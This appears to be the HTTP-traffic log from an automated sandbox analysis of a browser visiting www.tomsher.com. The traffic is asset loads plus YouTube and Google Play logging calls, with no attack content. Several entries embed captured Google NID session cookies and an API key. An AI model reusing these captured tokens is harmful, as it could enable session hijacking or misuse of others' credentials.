Source: global traffic	HTTP traffic detected: GET /assets/css/progressbar.css HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/meanmenu.min.css HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/master.css HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/style.css HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/custom.css HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/logo.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/custom_ecommerce.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/adobe.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/opencart.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/jquery-3.6.0.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/multimedia.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/procurement.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/menu3.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/Omnichannel.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/web-application.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/menu4.webp HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.4.2/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.tomsher.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.4.2/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.tomsher.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.4.2/webfonts/fa-regular-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.tomsher.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=VASp9VTeCaBe1PLkzEqnccvwZaPY6AP78JH8fEeF3Jd2EG1HnBWKdPqRRlTIpKK3AtHCRjR7mL3-tWMdjL3cjs8NFWn2q-bEc2qV8m0K5qWSD9hArF1ow8Ny_0CSqN8EhEJRotk6azSZThaN93PH74PWuBNKiY0gkSfZ4GCv90QESIp_Rl6vyVV9_Q
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/custom-web.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/fresha.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/vps.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/tomsher.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/captcha.jpg HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/sms.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/school.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/ecwid.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/cdn.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
